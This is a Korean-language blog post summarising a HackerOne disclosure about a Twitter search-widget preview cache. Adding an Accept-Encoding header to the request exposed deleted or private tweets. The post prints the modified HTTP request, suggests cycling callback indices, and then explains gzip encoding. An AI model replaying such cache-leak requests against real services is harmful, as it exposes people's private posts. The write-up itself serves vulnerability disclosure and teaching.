2017. 11. 15.

[웹 취약점] 미리보기 캐시를 이용하는 검색 위젯기능을 통해 비공개 트윗 내용을 확인 할 수 있었던 취약점

해커원 사이트에서 유심히 보았던 취약점이다. (https://hackerone.com/reports/263760)
request 헤더에 Accept-Encoding: gzip, deflate, br 를 추가하여 서버에 인코딩 요청을 하면, 캐쉬된 데이터가 포함된 결과를 반환한다. 그러면 캐쉬에 들어가 있던 삭제된 트윗, 공개였다가 현재는 비공개된 트윗을 확인 할 수 있다는 것이다.

# Original Request:
GET /widgets/timelines/preview?all_results=on&callback=__twttr.callbacks.tl_i<some number>_preview_old&do_not_track=false&expand_media=false&height=350&lang=en&query=countblank&safe_mode=on&suppress_response_codes=true&theme=light&timeline_type=search HTTP/1.1
Host: █████
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36
Accept: /
Referer: https://twitter.com/settings/widgets/new
Accept-Language: en-US,en;q=0.8
Cookie: lang=en

# New Request (Make sure to change to twttr.callbacks.tl_i73_preview_old since this cache has not been overwritten by correct data):
GET /widgets/timelines/preview?all_results=on&callback=██████ HTTP/1.1
Host: ███
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36
Accept: /
Referer: https://twitter.com/settings/widgets/new
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
Cookie: lang=en

# Response value
HTTP/1.1 200 OK
...
Content-Length: 10556 (보통보다는 많은 데이터 반환)


공개된 트윗만이 아닌 더 여러개의 비공개 프로필 트윗을 볼 수 있다. i73을 1i 에서 i100으로 바꿔가면서 테스트 해 볼 수 있다.


# Accept-Encoding: gzip, deflate 는?
이는 브라우저가 gzip 과 deflate 인코딩(압축 알고리즘)을 이해하므로 웹 서버가 http response 메시지를 이들 알고리즘 중 하나로 압축해서 보내도 된다는 것을 서버에게 알려 주는 것이다.

웹 서버는 Accept-Encoding 의 값을 살펴보고 필요에 따라서 HTTP Response (HTML, CSS, 이미지 등의 결과물)를 압축할 수 있다. 웹 서버가 HTTP Response 를 압축했다면 서버는 결과가 어떤 알고리즘에 의해 인코딩(압축)되었는가를 Content-Encoding 헤더를 통해 명시한다. 다음은 http://www.google.co.kr 에서 반환한 HTTP Response 헤더의 내용이다.

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Content-Encoding: gzip
Server: GWS/2.1
Content-Length: 1865
Date: Thu, 14 Jul 2005 14:21:24 GMT
(구글은 Content-Encoding 헤더 값에 gzip 에 명시하여, 컨텐츠가 gzip 알고리즘에 의해 압축되었음을 브라우저에게 알리고 있다.)



Popular Posts

Recent Posts

Powered by Blogger.